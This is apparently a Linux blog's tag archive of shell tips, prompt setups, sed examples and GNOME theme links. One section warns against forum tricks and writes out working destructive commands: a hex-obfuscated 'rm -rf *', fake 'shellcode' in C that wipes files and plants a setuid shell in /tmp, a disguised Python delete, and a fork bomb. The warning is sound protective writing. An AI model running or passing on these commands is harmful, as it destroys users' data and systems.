Tag Archives: shell

A useful bash shell script that will only run a command as the root user.

This is a shell script that will only run if the user executes it as the root user. I got this tip here: http://www.cyberciti.biz/tips/shell-root-user-check-script.html.

#!/bin/bash


CMDROOT="yum update"

if [[ $EUID -ne 0 ]]; then
	echo
	echo "You must be a root user to run this command." 2>&1
	exit 1
else
	echo
	echo "The command you ordered is: \"$CMDROOT\" And it is about to run."
	echo
	exec $CMDROOT
fi

Here is some code that will create a folder if it does not exist.

#!/bin/bash
# Make a folder if it does not exist.

if [ -e mydir ]; then
	echo "The folder exists."
else
	mkdir mydir
fi

How to convert text to uppercase with the command-line. Simply use the tr command to transform the text into uppercase.

-{homer@neo } $ echo "Hello World" | tr a-z A-Z
HELLO WORLD

This is how to do this with environment variables.

|{~/Documents}-{Mon Aug 26 23:49:45}
-{homer@neo } $ echo ${LOGNAME^^}
HOMER

Do you want a DOS styled prompt for your Linux box? Then put this into your .bashrc file and that is what you will get.

PROMPT_COMMAND='export PWD_UPCASE="${PWD^^}"'
PS1='C:${PWD_UPCASE//\//\\}> '

How to easily create a bash shell prompt for your personal use using a website interface.

The bash $PS1 generator here: http://www.kirsle.net/wizards/ps1.html allows you to create a cool bash shell prompt with a minimum of fuss. You can add colors to various parts of the prompt and make it look very nice indeed. Check it out now and see what you think.

Here is one that I made. This uses tput to set colors instead of using escape sequences. This is better practice it seems.

# Custom bash prompt via kirsle.net/wizards/ps1.html
export PS1="\[$(tput bold)\]\[$(tput setaf 6)\]\t \u@\h \W \\$:>\[$(tput sgr0)\]"

There is another website that allows the creation of a bash shell prompt: http://ezprompt.net/. This one uses the older escape sequences instead of tput; but it is also a very good website.

If you want a simple drag and drop method of creating a useful bash shell prompt for Macintosh and Linux computers, then this website is excellent: http://xta.github.io/HalloweenBash/. This website lets you use simple drag and drop to create a complex bash prompt. The way this works is by dragging and dropping blocks to create the prompt. Very easy to use.

Some commands that you should never run in Linux ever!

This is one command that you should never run on Linux.

$(echo 726d202d7266202a | xxd -r -p)

This is the text string “rm -rf *”” that is converted to hexadecimal and then put into this command. This will erase all of your files if you run this in your home directory.

The code below is C and this code when compiled and executed will remove all files in the directory you run it in and all subdirectories of the directory. This code runs this command: “rm -rf ~ / &”. Do not run this code if you see this anywhere.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Here is another example in Python. This will also remove all files in a directory and all subdirectories.

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

This is a common example posted on various Internet forums. This will run an infinite number of processes on your system and bring your computer to its knees. Do not run this command ever!

:(){:|:&};:

This is a common trick on certain web forums that someone will post a command that is obfuscated with a hexadecimal number. So do not run any command that is not clearly readable. These commands are a subset of the dangerous commands that are available on Linux. So be careful on web forums and only run commands that you know are safe.

Some very useful online Linux resources.

http://www.scribd.com/doc/12918020/Linux-Starter-Pack; The Linux starter pack. This is very good as an introduction to the Linux desktop and the various utilities available.

http://tille.garrels.be/training/bash/; Introduction to Linux guide for beginners. This is a good resource if you want to learn more about the Linux shell and usage in general.

http://securitron.securitronlinux.com/lc/rute/; Rute User’s Tutorial and Exposition. The definitive Linux resource for new users. This is the best resource for learning about PC hardware, Linux shell and useful commands.

http://en.flossmanuals.net/; FLOSS manuals. A website with many manuals for Free Linux Open Source Software.

http://www.advancedlinuxprogramming.com/alp-folder/; The Advanced Linux Programming manual.

http://linux-training.be/files/books/LinuxFun.pdf; Linux Fundamentals. An excellent Linux resource for anyone who is using this free and open desktop OS.

http://www.tldp.org/LDP/intro-linux/intro-linux.pdf; The Linux Documentation project – Introduction to Linux. A good read for those users that are new to Linux.

Some very good Gnome Shell themes for Ubuntu and Linux Mint 15.

An attractive Gnome Shell desktop.

An attractive Gnome Shell desktop.

http://gnome-look.org/content/show.php/GNOME+Shell%3A+Nord?content=142971. Nord Gnome Shell theme, now compatible with Gnome 3.6.

http://gnome-look.org/content/show.php/LittleBigMod_2nd?content=152088. LittleBigMod Gnome Shell 3.6 theme. A very good and sleek theme.

http://gnome-look.org/content/show.php/London+Smoke+-+Gnome-Shell?content=142426. London Smoke theme for Gnome Shell 3.4.

http://gnome-look.org/content/show.php/malys+-++GS?content=142262. Malys theme for Gnome Shell 3.4.1. Another quality theme for your Linux desktop.

http://gnome-look.org/content/show.php/Darkair+%28+3.4%2B3.6%2B3.8%2B3.9.2%29?content=156215. Darkair Gnome Shell theme. A theme with a lovely orange motif.

http://gnome-look.org/content/show.php/NovaShell?content=151522. NovaShell Gnome Shell theme. This looks a lot like the default Gnome Shell theme.

Zukitwo GTK 3 theme: http://gnome-look.org/content/show.php/Zukitwo?content=140562. This is a very high rated GTK theme for MATE and Gnome Shell. This would be very good for any Gnome Shell desktop.

Hope GTK 3 theme: http://gnome-look.org/content/show.php/Hope+gtk3?content=141491. Another lovely GTK 3 theme.

DeLorean Dark. A dark brushed metal theme for GTK 3: http://gnome-look.org/content/show.php/DeLorean-Dark+–+Gnome+3.4+%26+3.6?content=153866. If you want a nice dark theme for GTK 3.0; then this one will suit you just fine.

More awesome shell tricks for the Linux command line. This is using the bash shell.

This is another way to see where you are in the directory stack.

homer@deep-thought ~/Documents/basenew $ echo $DIRSTACK
~/Documents/basenew

Here is another way to show the $PWD value one directory down from where you are now.

homer@deep-thought ~/Documents/basenew $ echo $OLDPWD
/home/homer/Documents

This example shows how to print a $PWD value in uppercase. If you pine for the old ways of DOS.

homer@deep-thought ~/Documents/basenew $ echo ${OLDPWD^^}
/HOME/HOMER/DOCUMENTS

Here is how to change your shell prompt to better suit your workflow.

homer@deep-thought ~/Documents/basenew $ export PS1="\t \u@\h \$ "
21:04:03 homer@deep-thought $

This far more comprehensive bash shell prompt is another good one to have. This shows the RAM free as well as other cool things.

PROMPT_COMMAND='history -a;echo -en "\033[m\033[38;5;2m"$(( `sed -nu "s/MemFree:[\t ]\+\([0-9]\+\) kB/\1/p" /proc/meminfo`/1024))"\033[38;5;22m/"$((`sed -nu "s/MemTotal:[\t ]\+\([0-9]\+\) kB/\1/Ip" /proc/meminfo`/1024 ))MB"\t\033[m\033[38;5;55m$(< /proc/loadavg)\033[m"'
 PS1='\[\e[m\n\e[1;30m\][$$:$PPID \j:\!\[\e[1;30m\]]\[\e[0;36m\] \T \d \[\e[1;30m\][\[\e[1;34m\]\u@\H\[\e[1;30m\]:\[\e[0;37m\]${SSH_TTY} \[\e[0;32m\]+${SHLVL}\[\e[1;30m\]] \[\e[1;32m\]\w\[\e[0;34m\] \n($SHLVL:\!)\e[0m\]\$ '

This function will scan a folder for any broken symbolic links. Put this code into your .bashrc and then type badlink. This is good for cleaning up a directory.

function badlink()
# From Atomic magazine #43 August 2004. http://www.atomicmpc.com.au
{
	DEFAULT=$(tput sgr0);
	FILELIST=.badlink.list

	[ -e $FILELIST ] && $( rm -fr $FILELIST )

	function checklink()
	{
		for badlink in $1/*; do
			[ -h "$badlink" -a ! -e "$badlink" ] && echo \
			\"$badlink\" >> $FILELIST
			[ -d "$badlink" ] && checklink $badlink
		done
	}

	for directory in `pwd`; do
		if [ -d $directory ] ; then
			checklink $directory;
		fi
	done

	if [ -e $FILELIST ] ; then
		for line in $(cat $FILELIST); do
			echo $line | xargs -r rm | echo -e "$line \
			-removed"
			echo
		done
		rm -fr $FILELIST
	else
		printf "Bad symlinks not found.\n\n"
	fi
} # End Atomic function.

This is the output you get after running this function.

[18411:18406 0:5] 09:16:21 Wed Jul 03 [homer@deep-thought: +1] ~/Desktop 
(1:5)$ badlink 
"/home/homer/Desktop/home.desktop" 			-removed

"/home/homer/Desktop/root.desktop" 			-removed

Finally; this is some more code to put into your .bashrc file to set the value of the $DISPLAY variable.

# try to set DISPLAY smart (from Hans) :)
# From a SUSE .bashrc file.
#
if test -z "$DISPLAY" -a "$TERM" = "xterm" -a -x /usr/bin/who ; then
	WHOAMI="`/usr/bin/who am i`"
	_DISPLAY="`expr "$WHOAMI" : '.*(\([^\.][^\.]*\).*)'`:0.0"
	if [ "${_DISPLAY}" != ":0:0.0" -a "${_DISPLAY}" != " :0.0" \
		-a "${_DISPLAY}" != ":0.0" ]; then
		export DISPLAY="${_DISPLAY}";
	fi
	unset WHOAMI _DISPLAY
fi

How to watch a file in a terminal and see changes right away. Good for logfiles.

Here I am using the watch ‘tail access.log’ command to watch the access log file for the Apache web server. This will update every two seconds and show changes to the logfile when someone accesses the server.

Every 2.0s: tail access.log                                                                                           Tue Jul  2 10:26:04 2013

77.78.106.75 - - [30/Jun/2013:18:03:09 +1000] "HEAD / HTTP/1.0" 200 191 "-" "-"
127.0.0.1 - - [02/Jul/2013:10:17:31 +1000] "GET / HTTP/1.1" 200 980 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
127.0.0.1 - - [02/Jul/2013:10:17:31 +1000] "GET /style.css HTTP/1.1" 200 816 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
127.0.0.1 - - [02/Jul/2013:10:17:31 +1000] "GET /maps/back.png HTTP/1.1" 200 15197 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
127.0.0.1 - - [02/Jul/2013:10:17:31 +1000] "GET /favicon.ico HTTP/1.1" 404 498 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
127.0.0.1 - - [02/Jul/2013:10:19:45 +1000] "GET /maps/dmfaq66c.txt HTTP/1.1" 200 27655 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
127.0.0.1 - - [02/Jul/2013:10:20:10 +1000] "GET /moodle/login/index.php HTTP/1.1" 200 909 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"

Using this command in an xterm you can watch in real time the programs that are running on the Linux system.

deep-thought ~ # watch "ps ax | tail -n 30"

This command will allow you to monitor the amount of hard disk space remaining on all mounted partitions.

deep-thought ~ # watch "df -Hla"

That could be very useful indeed.

Another way to monitor your system is watching running processes alone. This is done with the top command in a terminal. But the htop command is even more comprehensive.

Type sudo apt-get install htop to install this useful utility and then type htop to load it. This will show CPU load; memory usage and swap partition usage as well as a list of running processes that is updated in real time. Very useful utility to have running in an xterm to monitor your Linux system.

How to filter text with the sed command. This is useful for various shell tricks.

This is a standard listing of files with wildcards in the bash shell.

homer@deep-thought ~/Documents $ ls *.wad
basenew.wad  cc4-tex.wad  city-heat.wad    dark.wad   doom.wad   plutonia.wad  scythe2.wad  SKYTEST.wad
brick.wad    cchest4.wad  consoleCopy.wad  doom2.wad  hexen.wad  RIII.wad      scythex.wad  SODfinal.wad

And this is how to use the sed command to filter the output to change it.

homer@deep-thought ~/Documents $ ls *.wad | sed s/wad/fad/gi;
basenew.fad
brick.fad
cc4-tex.fad
cchest4.fad
city-heat.fad
consoleCopy.fad
dark.fad
doom2.fad
doom.fad
hexen.fad
plutonia.fad
RIII.fad
scythe2.fad
scythex.fad
SKYTEST.fad
SODfinal.fad

Here is another example of modifying the output to show something apart from what was originally there. Changing the month to December.

homer@deep-thought ~/Documents $ ls -hula *.wad | sed s/Jun/Dec/gi;
-rw-r--r-- 1 homer homer 548K Dec 15 17:53 basenew.wad
-rw------- 1 homer homer 1.1M Dec  1 11:25 brick.wad
-rw-r--r-- 1 homer homer  13M Aug 17  2012 cc4-tex.wad
-rw-r--r-- 1 homer homer  70M Dec 15 17:53 cchest4.wad
-rw------- 1 homer homer 3.3M Dec  1 11:25 city-heat.wad
-rw------- 1 homer homer 2.4M Dec  1 11:25 consoleCopy.wad
-rw------- 1 homer homer 1.8M Dec  1 11:25 dark.wad
-rw------- 1 homer homer  14M Dec 29 22:05 doom2.wad
-rw------- 1 homer homer  12M Dec 29 22:05 doom.wad
-rwxrwxrwx 1 homer homer  20M Dec 29 22:05 hexen.wad
-rw------- 1 homer homer  17M Dec 29 22:05 plutonia.wad
-rw-r--r-- 1 homer homer  19M Dec  1 11:25 RIII.wad
-rw------- 1 homer homer  30M Dec  1 11:25 scythe2.wad
-rw------- 1 homer homer  22M Dec  1 11:25 scythex.wad
-rw-rw-r-- 1 homer homer 3.4K Dec  1 11:25 SKYTEST.wad
-rw-r--r-- 1 homer homer  28M Dec  1 11:25 SODfinal.wad

This is something I am very proud of. This is how to change the M for Megabytes in the ls -hula output into the word Megabytes. So cool.

homer@deep-thought ~/Documents $ ls -hula *.wad | sed s/M/\ Megabytes/;
-rw-r--r-- 1 homer homer 548K Jun 15 17:53 basenew.wad
-rw------- 1 homer homer 1.1 Megabytes Jun  1 11:25 brick.wad
-rw-r--r-- 1 homer homer  13 Megabytes Aug 17  2012 cc4-tex.wad
-rw-r--r-- 1 homer homer  70 Megabytes Jun 15 17:53 cchest4.wad
-rw------- 1 homer homer 3.3 Megabytes Jun  1 11:25 city-heat.wad
-rw------- 1 homer homer 2.4 Megabytes Jun  1 11:25 consoleCopy.wad
-rw------- 1 homer homer 1.8 Megabytes Jun  1 11:25 dark.wad
-rw------- 1 homer homer  14 Megabytes Jun 29 22:05 doom2.wad
-rw------- 1 homer homer  12 Megabytes Jun 29 22:05 doom.wad
-rwxrwxrwx 1 homer homer  20 Megabytes Jun 29 22:05 hexen.wad
-rw------- 1 homer homer  17 Megabytes Jun 29 22:05 plutonia.wad
-rw-r--r-- 1 homer homer  19 Megabytes Jun  1 11:25 RIII.wad
-rw------- 1 homer homer  30 Megabytes Jun  1 11:25 scythe2.wad
-rw------- 1 homer homer  22 Megabytes Jun  1 11:25 scythex.wad
-rw-rw-r-- 1 homer homer 3.4K Jun  1 11:25 SKYTEST.wad
-rw-r--r-- 1 homer homer  28 Megabytes Jun  1 11:25 SODfinal.wad

And an example using Kilobytes.

homer@deep-thought ~/Documents $ ls -hula *.wad | grep basenew | sed s/K/\ Kilobytes/;
-rw-r--r-- 1 homer homer 548 Kilobytes Jun 15 17:53 basenew.wad

Gnome Shell versus Unity on Linux Mint 15. What I think about the two competing desktops.

The Gnome Shell desktop on Linux Mint 15 is a pretty good desktop environment for any Linux user, but after typing sudo apt-get install unity on Linux Mint 15 and trying it out, I actually think that the Unity desktop is the faster of the two. Despite the Macintosh styled interface. The ability to quickly search for what you are after and then hit enter to run it is shared between the two desktops, but the Unity desktop does it better. The Gnome Shell desktop has the extensions website that allows anyone to create and use extensions to give more capabilities to the Gnome 3 desktop. Unity has addon lenses for the search function. It also requires the use of the Gnome Tweak Tool to set themes, that is not built into the desktops yet, only the ability to set the wallpaper. Gnome has been around for a much longer time than Unity, the first ever Gnome release looked like Windows `95. Then it got the twin panels layout with the Fedora distribution, and that was also used by many other Linux distributions such as the venerable and still good Ubuntu 8.10. Then the Macintosh desktop craze kicked into high gear as well as the preponderance of tablet computers, this is why we got the Gnome Shell desktop with the touch inspired desktop layout that we see today. The Unity release in Linux Mint 15 has giant icons to click when you are about to shut down the computer.

But I think that these look quite cool. But it is down to personal preference which desktop you prefer. The Gnome Shell desktop with the many extensions available to customise the layout or the Unity desktop with the cool new interface inspired by a Macintosh computer. These desktops do behave quite well on a dual monitor system, the Unity launcher bar appears on both screens, but this does not really get in the way of your workflow. The only annoying thing is that the mouse cursor sometimes gets stuck on the junction between your desktops and you have to move it quite fast for the mouse cursor to cross the boundary. Very strange indeed. That is the only annoyance that I really could find when trying out the latest Unity desktop. The Ubuntu 13.10 version should be even better. Since Linux Mint 15 uses Ubuntu Raring Ringtail as a package base, it has the latest versions of the Unity and Gnome Shell desktops. Linux Mint 15 is supported until January 2014, this is plenty of time for an upgrade to the next version. If you wish to try out the Ubuntu 13.10 distribution, then the daily builds are here: http://cdimage.ubuntu.com/daily-live/current/. If you remove the Amazon spyware code from the distribution then it becomes a lot more secure if you are using the distribution in a sensitive work environment.

How to remove the Amazon spyware in Ubuntu 12.10. This should also apply to the 13.04 release. The best way to avoid problems would be to use a distribution such as Fedora or Red Hat Enterprise Linux. They have more security. Or the installation of the KDE or Xfce4 distributions that do not have the Amazon tracking code. At least the Ubuntu distribution does not track your every move like the iPhones and iPads that people carry around with them all of the time.

TRON Legacy GDM theme. A nice addition to any Linux computer.

TRON Legacy GDM theme: http://gnome-look.org/content/show.php?content=117133. This will also work with MDM in Linux Mint 15.

TRON Legacy Gnome Shell theme: http://half-left.deviantart.com/art/GNOME-Shell-Tron-Legacy-208220836. This theme is very reminiscent of the theme that the computer uses in the movie. You need to install the User Themes extension to load this theme.

TRON Legacy lightcycle wallpaper: http://www.moviedeskback.com/wp-content/uploads/2010/07/Tron-Legacy-Wallpapers-1600×1200-6.jpg.

Die Hard 4.0 theme for Linux: http://gnome-look.org/content/show.php/Die+Hard+4.0+GTK+theme?content=84355.

Die Hard 4.0 Beryl Emerald theme: http://gnome-look.org/content/show.php?content=66714&forumpage=2.

Awesome elegance colors theme for Gnome Shell, this can change colors automatically.

Elegance colors theme for Gnome.

Elegance colors theme for Gnome.

http://satya164.deviantart.com/art/Gnome-Shell-Elegance-Colors-305966388. This awesome new theme for Gnome Shell has the ability to change colors automatically depending upon the wallpaper the user has at the moment. This would be very good for a user that wants a dynamically changing desktop experience whenever they choose a new wallpaper. So, download this theme and give it a go if you want a dynamically changing desktop theme.

Nord: http://0rax0.deviantart.com/art/GNOME-Shell-Nord-214295138. This is another quality theme for Gnome Shell. This one has a blue ice color scheme and is very good for a first effort.

Away: http://worldofgnome.org/away-gnome-shell-theme/. This is a Gnome Shell theme that is rather like the default GS theme whilst making something new at the same time.

Minty Gnome Shell theme: http://satya164.deviantart.com/art/Gnome-Shell-Minty-268492415. This theme gives Linux Mint colors to Gnome Shell. Nice theme for any Linux Mint users.

Tyr GS theme: http://worldofgnome.org/tyr-gnomeshell-theme/. A high quality Gnome Shell theme. Well worth installing for any fan of high quality dark desktop themes.

Viva Gnome Shell theme: https://github.com/vivaeltopo/gnome-shell-theme-viva. Another high quality dark theme for Gnome Shell.

Cool bash shell in a web page. OMGUbuntu have done well this time.

http://www.omgubuntu.co.uk/bash/

This is a BASH shell in a web page. Check this cool trick out. They have created a cool April fools joke that all Linux users can enjoy. I wish there was a Powershell website that allowed you to use Powershell 3.0 in a web browser; but this is still very cool indeed. There is also a good Linux emulation at http://www.bellard.org/jslinux and this has more commands available; but the OMGUbuntu easter egg truly is a cool thing to find when you are searching the Internet for Ubuntu news. The vim command does not work; there are only a handful that do, but I just had to post about this as it is truly Linux related. The point of this page is to emulate an Xorg crash and dump the website visitor at a virtual console from the graphical website. If you type cd articles and hit ENTER you can browse the website with the command-line. Quite a different approach to web design. Type cd articles/2000/November and then type wget “UDS STARTS TOMORROW” to view a cool image. There is another shell emulation here using FreeBSD. Use this to practice UNIX shell commands on any operating system: http://cb.vu/. The Internet truly has everything you could ever need.

Last login: Thu Jun 13 2013 21:17:44 GMT+1000 (AUS Eastern Standard Time) from 122.148.123.87
FreeBSD 7.1-STABLE (CB.VU) #3: Thu Jun 13 2013 21:20:54 GMT+1000 (AUS Eastern Standard Time)

      ----   Welcome to cb.vu   ----  (start with "help" if you are lost)

I tell ya, gambling never agreed with me.  Last week I went to the track
and they shot my horse with the opening gun.

Well, just last week I was at a Chinese restaurant and when I opened my 
fortune cookie I found the guy's check sitting at the next table.  I said, 
"Hey, buddy, I got your check", he said, "Thanks."
    -- Rodney Dangerfield                                                                                                                                                                                               
[[email protected]]~>

Above is what the cb.vu UNIX emulation looks like, With a cool Rodney Dangerfield quote. And below is the kernel version that the cb.vu UNIX emulation uses. Give this one a try if you want to try out the UNIX shell.

[[email protected]]~> uname -a                                                                                                                                                                                         
FreeBSD cb.vu 7.1-STABLE FreeBSD 7.1-STABLE #2: Wed Jan 30 16:21:05 CET 2009 [email protected]:/usr/obj/usr/src/sys/CB  i386

Very useful Linux commands for administering your system and managing user accounts.

Bill Gates in the old days.

Bill Gates in the old days.

The best Linux commands are the simplest ones. One that you use a lot is the sudo command. This is controlled by the /et/sudoers file that controls the user accounts that are allowed to access the sudo command. You can set this up so that only certain users can access sudo. This is a good way to manage security on a Linux machine.

This posting: http://www.securitronlinux.com/bejiitaswrath/useful-linux-tips-and-how-to-edit-the-etcsudoers-file-without-error/, describes how to add a user to the sudoers file so that they can run commands with elevated privileges.

Here is another posting that describes how to add your user to the /etc/sudoers file on Debian: http://www.securitronlinux.com/uncategorized/adding-your-user-to-the-sudoers-file-on-debian/.

And how to unlock the root account on Linux Mint or Ubuntu with the command-line: http://www.securitronlinux.com/bejiitaswrath/how-to-enable-the-su-command-to-access-the-root-account-in-linux-mint-13/. This is very useful if you want the proper root account back. Make sure that it has a strong password though.

Awesome Linux shell wildcard tricks. This is very useful for manipulating file listings and deleting files with strange names from your machine: http://www.securitronlinux.com/bejiitaswrath/deleting-files-on-your-linux-machine-that-have-strange-names-and-how-to-use-wildcards-on-the-shell/.

The ifconfig command may be used to set a static IP address for your server.

This is a sample of the usage of this command.

adeptus-mechanicus ~ # ifconfig eth1 192.168.2.2 netmask 255.0.0.0 broadcast 192.168.2.255

This shows that you can easily edit the network settings with the command-line and get an optimal network configuration without needing the GUI. That is why Linux is so good for setting up a network. The only thing thing that is really annoying on Ubuntu Server is configuring a Samba server to provide logins for Windows 7 machines. That is very challenging but it is possible. Supplying a network of Windows machines with logins from an Ubuntu server would be a very cool thing indeed.

This posting of mine contains some awesome shell tricks for the Linux console. Especially how to make the contents of a shell variable uppercase: http://www.securitronlinux.com/bejiitaswrath/cispa-bill-still-a-threat-and-awesome-linux-shell-tricks/.

Quality GTK 3 themes for Gnome Shell and the Linux Mint 14 MATE desktop.

Faience: http://tiheum.deviantart.com/art/GTK3-Gnome-Shell-Faience-255097456. This is a GTK 3 theme that will make your Gnome Shell desktop look exquisite. This has awesome brushed aluminium styled switches for controls in the GTK windows. This is one theme that you must install.

Hope GTK 3: http://grvrulz.deviantart.com/art/Hope-gtk3-206207315. Another quality GTK 3 theme for Gnome Shell. Well worth installing.

Gaia GTK 3 theme: http://half-left.deviantart.com/art/GNOME-Shell-Gaia-207574700. This is a green tinted theme; this would suit a Linux Mint machine perfectly.

Awance GTK 3 theme: http://thedeviantmars.deviantart.com/art/Adwance-gtk3-207704533. A brownish Ubuntu 8.10 styled theme. This would obviously suit an Ubuntu computer perfectly.

Mist theme for GTK 3: http://gnome-look.org/content/show.php/Mist-Redmond?content=155580&PHPSESSID=f5b8516a2b1f6f69a3ae2e28bd13d7e6. The Mist theme lives again for GTK 3.

MediterraneanNight Series 2.02: http://gnome-look.org/content/show.php/MediterraneanNight+Series?content=156782. A very highly rated theme for GTK 3. This would make any Linux machine look awesome.

Ambience Chrunchy: http://gnome-look.org/content/show.php/Ambiance+Crunchy?content=151181. The Ubuntu Unity Ambience theme ported to GTK 3 and Gnome Shell. This is another theme that would suit an Ubuntu machine if you are a fan of the default Unity look.

Using Powershell on Linux with the Pash console.

Using Powershell on Linux with the Pash console.

Using Powershell on Linux with the Pash console. Using Powershell on Linux.

The Powershell console is now available on Linux with the advent of the Pash console. This allows a Linux user to use Powershell commands on Linux just as they do in Windows. The screenshot I have included shows the usage of the Powershell Get-PsDrive cmdlet. This would be a very powerful tool for administering Windows servers or desktops from a Linux laptop. A very promising and useful component to add to your Linux installation. I wonder if the extra cmdlets added to Windows 8 and Server 2012 will be added to Pash over time. The Get-NetAdapter cmdlet is very useful for getting information about your network adapters in Windows 8. Linux can only get better over time if they add more systems administration tools such as this to the repertoire of command-line utilities. Get this shell from here: http://sourceforge.net/projects/pash/. Build this with Monodevelop and you may then try out Powershell commands on Linux.